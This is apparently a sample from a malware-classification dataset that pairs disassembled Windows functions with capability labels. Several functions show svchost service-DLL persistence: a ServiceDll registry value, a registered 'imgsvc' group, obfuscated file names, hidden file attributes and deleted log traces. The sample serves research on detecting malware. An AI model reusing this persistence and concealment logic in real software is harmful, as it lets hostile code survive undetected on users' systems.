joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100041d0
Capabilities:
Delete file
Get common file path
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Nglnas_Lpqdwqgn_lp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.100040f0
add esp, 8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x1c]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.10004150
add esp, 0x14
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push closesocket
mov dword [esp + 0x38], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__DgfT_gw
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__DgfT_gw
push 2
push ebx
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.100040f0
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10004150
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x100046a0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x23c
mov ecx, 8
xor eax, eax
lea edx, [esp + 0x110]
push ebx
push esi
push edi
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x11c]
push 0x30
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x143]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Nglnas_Lpqdwqgn_lp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
lea edx, [esp + 0x120]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.Parameters
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
call esi
add esp, 4
lea eax, [esp + 0xc]
lea ecx, [esp + 0x11c]
push eax
push 0xf003f
push 0
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x1000476c
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x1c]
add esp, 4
rep stosd dword es:[edi], eax
lea edx, [esp + 0x14]
lea eax, [esp + 0x18]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push str.ServiceDll
push edx
mov dword [esp + 0x28], 2
mov dword [esp + 0x2c], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
push str._RqmbzdlDjn_p__DgfT_gw
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
neg eax
sbb eax, eax
pop edi
pop esi
inc eax
pop ebx
add esp, 0x23c
ret
Function at 0x10004800
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x814
mov ecx, 0xd
lea eax, [esp]
push ebx
push ebp
push esi
push edi
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x1c]
rep movsd dword es:[edi], dword [esi]
push eax
push 0xf003f
lea ecx, [esp + 0x24]
push 0
push ecx
push closesocket
movsb byte es:[edi], byte [esi]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10004923
mov ecx, 0x1f3
lea edi, [esp + 0x55]
mov byte [esp + 0x54], al
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [esp + 0x54]
push edx
mov edx, dword [esp + 0x14]
mov dword [esp + 0x18], 7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x58]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push str.imgsvc
push edx
mov dword [esp + 0x30], 0x7d0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10004918
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edi, [esp + 0x54]
or ecx, 0xffffffff
xor eax, eax
xor ebp, ebp
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [esp + 0x54]
mov esi, ecx
test si, si
je 0x10004923
cmp si, 1
je 0x10004923
push str.Nglnas_Lpqdwqgn_lp
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x10004908
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea ebp, [eax + ebp + 1]
je 0x10004923
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x100048bd
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x814
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x814
ret
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x814
ret

Function at 0x10004930
Capabilities:
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
call fcn.100046a0
test eax, eax
jne 0x1000493e
call fcn.100041d0
call fcn.10004800
test eax, eax
jne 0x1000494c
jmp fcn.100043d0
ret
Function at 0x10004f40
Capabilities:
Copy file
Delete file
Query environment variable
Set file attributes

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x208
cmp eax, 1
push esi
push edi
jne 0x100050b4
push 0x37a
push str.Nglnas_Lpqdwqgn_lp
call fcn.10004b80
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov eax, dword [esp + 0x220]
add esp, 0xc
push 0x104
push 0x1000fed8
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
add esp, 4
lea ecx, [esp + 8]
stosw word es:[edi], ax
push 0x104
push ecx
push str._RqmbzdlDjn_p__DgfT_gw
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__DgfT_gw
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x1000fed8
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__DgfT_gw
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x100050b4
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.100059c0
push str._RqmbzdlDjn_p__DgfT_gw
call fcn.10003e70
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__DgfT_gw
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x10c]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x138]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10c]
push eax
call fcn.10003f00
add esp, 4
call fcn.100041d0
call fcn.100043d0
push 0x1000
push str._RqmbzdlDjn_p__DgfT_gw
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push str._RqmbzdlDjn_p__DgfT_gw
push 0x1000fed8
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__DgfT_gw
call fcn.10004950
add esp, 4
call fcn.10004050
call fcn.10003f90
pop edi
mov eax, 1
pop esi
add esp, 0x208
ret 0xc

Function at 0x10005590
Capabilities:
Terminate thread

Disassembly:
push ebx
mov ebx, ecx
push edi
xor edi, edi
mov eax, dword [ebx + 0x9e50]
mov dword [ebx], 0x1000c268
test eax, eax
jbe 0x100055d4
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateThread]
push esi
lea esi, [ebx + 0x210]
mov eax, dword [esi]
push 0xffffffffffffffff
push eax
call ebp
mov ecx, dword [esi]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebx + 0x9e50]
inc edi
add esi, 4
cmp edi, eax
jb 0x100055b4
pop esi
pop ebp
mov ecx, ebx
call fcn.10003270
pop edi
pop ebx
ret

Function at 0x100059c0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp]
push str._syslog.dat
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 0x104
ret
Function at 0x10005ab0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x12c
push ebx
push ebp
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push edi
push 0x30
mov dword [esp + 0x14], 0
call esi
add esp, 4
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x30
mov edi, eax
call esi
push 0x30
mov dword [esp + 0x1c], 0x128
call esi
add esp, 8
lea eax, [esp + 0x14]
push eax
push edi
call sub.KERNEL32.dll_Process32First
push 0x30
call esi
mov ebx, dword [esp + 0x144]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
add esp, 4
lea ecx, [esp + 0x38]
push ebx
push ecx
call ebp
test eax, eax
je 0x10005b3a
push 0x30
call esi
add esp, 4
lea edx, [esp + 0x14]
push edx
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10005b40
lea eax, [esp + 0x38]
push ebx
push eax
call ebp
test eax, eax
jne 0x10005b18
mov ebx, dword [esp + 0x1c]
jmp 0x10005b44
mov ebx, dword [esp + 0x10]
push 0x30
call esi
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x30
call esi
add esp, 4
mov eax, ebx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x12c
ret
Function at 0x40e8d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
jne 0x40e8e0
xor eax, eax
jmp 0x40ea7d
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
mov dword [ebp + 8], eax
cmp dword [ebp + 0x10], 8
jb 0x40ea3e
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x59e978]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x59e978]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x59e978]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x59e978]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x59e978]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0xc]
movzx ecx, byte [eax]
xor ecx, dword [ebp + 8]
and ecx, 0xff
mov edx, dword [ebp + 8]
shr edx, 8
xor edx, dword [ecx*4 + 0x59e978]
mov dword [ebp + 8], edx
mov eax, dword [ebp + 0xc]
add eax, 1
mov dword [ebp + 0xc], eax
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x59e978]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0xc]
movzx eax, byte [edx]
xor eax, dword [ebp + 8]
and eax, 0xff
mov ecx, dword [ebp + 8]
shr ecx, 8
xor ecx, dword [eax*4 + 0x59e978]
mov dword [ebp + 8], ecx
mov edx, dword [ebp + 0xc]
add edx, 1
mov dword [ebp + 0xc], edx
mov eax, dword [ebp + 0x10]
sub eax, 8
mov dword [ebp + 0x10], eax
jmp 0x40e8e9
cmp dword [ebp + 0x10], 0
je 0x40ea77
mov ecx, dword [ebp + 0xc]
movzx edx, byte [ecx]
xor edx, dword [ebp + 8]
and edx, 0xff
mov eax, dword [ebp + 8]
shr eax, 8
xor eax, dword [edx*4 + 0x59e978]
mov dword [ebp + 8], eax
mov ecx, dword [ebp + 0xc]
add ecx, 1
mov dword [ebp + 0xc], ecx
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
jne 0x40ea44
mov eax, dword [ebp + 8]
xor eax, 0xffffffff
pop ebp
ret
Function at 0x10063de
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x1016020]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0x80
lea ecx, [ebp - 0x104]
push ecx
push 0x21
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x1006440
movzx eax, word [ebp - 0x104]
sub eax, 0x30
je 0x1006439
dec eax
je 0x100642f
dec eax
je 0x1006425
xor eax, eax
inc eax
jmp 0x1006442
mov eax, dword [ebp + 8]
mov word [eax], 2
jmp 0x1006440
mov eax, dword [ebp + 8]
mov word [eax], 1
jmp 0x1006440
mov eax, dword [ebp + 8]
and word [eax], 0
xor eax, eax
mov ecx, dword [ebp - 4]
call fcn.0100eec6
leave
ret 4
Function at 0x1007e49
Capabilities:
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x1016020]
push ebx
push esi
xor ebx, ebx
mov esi, 0x1fc
mov dword [ebp - 4], eax
push edi
mov dword [ebp - 0x400], ebx
lea eax, [ebp - 0x3fc]
mov ecx, esi
mov byte [eax], 0
inc eax
dec ecx
jne 0x1007e72
mov edi, dword [ebp + 8]
push edi
call fcn.01012a24
test eax, eax
jne 0x1007ee2
push esi
push 0x1001404
lea eax, [ebp - 0x3fc]
push eax
call fcn.0100f97e
test edi, edi
je 0x1007ee2
xor eax, eax
mov ax, word [edi]
test ax, ax
mov ecx, edi
je 0x1007ed4
cmp ax, 0x5c
jne 0x1007eb9
inc ecx
inc ecx
mov ax, word [ecx]
inc ebx
test ax, ax
jne 0x1007ea8
cmp bx, 2
jne 0x1007ecf
push esi
push edi
lea eax, [ebp - 0x3fc]
push eax
call fcn.0100f97e
jmp 0x1007ee2
test bx, bx
jne 0x1007ee2
push esi
push edi
lea eax, [ebp - 0x3fc]
push eax
call fcn.01010072
xor esi, esi
inc esi
push esi
push 0
lea eax, [ebp - 0x3fc]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
mov dword [ebp - 0x404], edi
jne 0x1007f08
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
jmp 0x1007f28
push 0x14
push 0x10013f0
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov ebx, eax
test ebx, ebx
jne 0x1007f2f
mov eax, dword [ebp + 0xc]
push edi
mov dword [eax], esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x1007fda
mov edi, dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
lea eax, [ebp - 0x420]
push eax
push ebx
call edi
test eax, eax
je 0x1007fc0
cmp dword [ebp - 0x41c], 4
je 0x1007fc5
cmp dword [ebp + 0x10], esi
jne 0x1007fc7
push 0xce
call fcn.0101132b
push eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x20
push eax
call fcn.01010fc1
lea eax, [ebp - 0x400]
push eax
call fcn.0100279a
cmp eax, esi
jne 0x1007f85
mov eax, dword [ebp + 0xc]
mov dword [eax], 2
jmp 0x1007fc5
cmp dword [ebp - 0x400], esi
jne 0x1007f98
mov eax, dword [ebp + 0xc]
mov dword [eax], 3
jmp 0x1007fc5
push 0
push 0
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x1007fc0
lea eax, [ebp - 0x420]
push eax
push ebx
call edi
test eax, eax
je 0x1007fc0
cmp dword [ebp - 0x41c], 4
jne 0x1007fa7
jmp 0x1007fc7
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
xor esi, esi
push dword [ebp - 0x404]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call edi
push ebx
call edi
mov eax, esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0100eec6
leave
ret 0xc
Function at 0x100bd2e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push edi
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push edi
push edi
push dword [ebp + 0xc]
mov dword [ebp - 4], edi
push dword [ebp + 8]
mov dword [ebp - 8], edi
mov dword [ebp - 0xc], edi
call esi
mov eax, dword [ebp - 4]
add eax, 0xa
push eax
call fcn.0100f58f
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x100bd75
push 0xe
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jmp 0x100bd9d
lea ecx, [ebp - 4]
push ecx
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
lea eax, [ebp - 8]
push eax
call fcn.0100fc2c
xor eax, eax
inc eax
pop edi
pop esi
leave
ret 0xc
Function at 0x100eec6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1016020]
jne 0x100eecf
ret
jmp 0x100eed4
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x1016020]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x1016164]
test eax, eax
je 0x100eef8
call eax
cmp dword [0x1016168], 0
je 0x100ef3f
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x1016168]
pop edi
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.0100eec6
add ebp, 0x2a8
leave
ret
Function at 0x10100b0
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0xb8]
sub esp, 0x138
mov eax, dword [0x1016020]
push ebx
push esi
push edi
push 5
pop edx
push 0x47
mov ecx, edx
mov esi, 0x100166c
lea edi, [ebp + 0xa0]
rep movsd dword es:[edi], dword [esi]
pop ecx
xor ebx, ebx
inc ebx
push ebx
xor esi, esi
push 2
mov dword [ebp + 0xb4], eax
xor eax, eax
push esi
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
push esi
mov dword [ebp - 0x7c], 0x11c
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], esi
mov word [ebp + 0x98], si
call sub.ntdll.dll_VerSetConditionMask
push ebx
push ebx
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push 3
push 0x20
push edx
push eax
call sub.ntdll.dll_VerSetConditionMask
push edx
push eax
push 3
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
cmp eax, ebx
jne 0x1010140
push 0x47e
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, ebx
jmp 0x10101a8
mov edi, 0x105
push ebx
lea eax, [edi + 0xa]
push eax
push esi
push esi
call fcn.01010331
cmp eax, esi
mov dword [ebp - 0x80], eax
je 0x1010194
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
je 0x10101a6
cmp eax, edi
jbe 0x1010175
cmp edi, 0x105
je 0x10101c0
lea edi, [eax + 1]
xor eax, eax
cmp eax, esi
je 0x1010145
push 0x1001650
push dword [ebp - 0x80]
push 0x1001644
push 2
call fcn.0100fdb8
add esp, 0x10
test eax, eax
jne 0x10101d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10101a6
push 8
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp + 0xb4]
pop edi
pop esi
pop ebx
call fcn.0100eec6
add ebp, 0xb8
leave
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x10101a6
push 0x42b
jmp 0x10101a0
call fcn.0100ef64
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, eax
cmp edi, esi
je 0x10101a6
lea eax, [ebp + 0xa0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x10101ff
push dword [ebp + 0xc0]
call eax
mov esi, ebx
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
jmp 0x10101a8
Function at 0x10126d1
Capabilities:
Initialize winsock library

Disassembly:
push ebp
lea ebp, [esp - 0x120]
sub esp, 0x1a0
mov eax, dword [0x1016020]
push ebx
push esi
xor esi, esi
push edi
mov edi, dword [ebp + 0x128]
cmp edi, esi
mov dword [ebp + 0x11c], eax
mov dword [ebp - 0x7c], esi
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x78], esi
je 0x1012841
mov ebx, dword [ebp + 0x130]
cmp ebx, esi
je 0x1012841
mov eax, dword [ebx]
cmp eax, esi
je 0x101272f
cmp eax, 2
jb 0x1012841
cmp dword [ebp + 0x12c], esi
je 0x1012841
cmp dword [0x101603c], esi
jne 0x1012760
lea eax, [ebp - 0x74]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1012756
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
jmp 0x101284d
mov dword [0x101603c], 1
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, 5
push eax
mov dword [ebp - 0x7c], eax
call fcn.0100f58f
cmp eax, esi
mov dword [ebp - 0x78], eax
je 0x10127ec
lea ecx, [ebp - 0x7c]
push ecx
push eax
push edi
call fcn.0100f3e9
test eax, eax
je 0x1012853
push dword [ebp - 0x78]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
mov dword [ebp - 0x80], eax
jne 0x10127a9
lea eax, [ebp - 0x78]
push eax
call fcn.0100fc2c
jmp 0x10127c0
push 2
push 4
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
cmp eax, esi
mov dword [0x1016150], eax
jne 0x10127d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1012853
push 0x42b
jmp 0x101284d
lea eax, [ebp - 0x78]
push eax
call fcn.0100fc2c
push esi
push esi
push edi
push 0x11
call fcn.01010331
cmp eax, esi
jne 0x10127fa
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1012853
push 8
jmp 0x101284d
mov ecx, dword [0x1016150]
cmp ecx, esi
je 0x1012853
cmp dword [ebp + 0x134], esi
mov eax, dword [ecx]
mov dword [ebp - 0x78], eax
jne 0x1012827
cmp eax, esi
je 0x101283c
push 0x100174c
push dword [ecx]
call dword [sym.imp.msvcrt.dll_strtok]
pop ecx
pop ecx
mov dword [ebp - 0x78], eax
cmp eax, esi
je 0x101283c
push ebx
push dword [ebp + 0x12c]
push eax
call fcn.0100f2fd
test eax, eax
je 0x1012853
xor eax, eax
inc eax
jmp 0x1012855
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x1012853
push 0x57
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp + 0x11c]
pop edi
pop esi
pop ebx
call fcn.0100eec6
add ebp, 0x120
leave
ret 0x10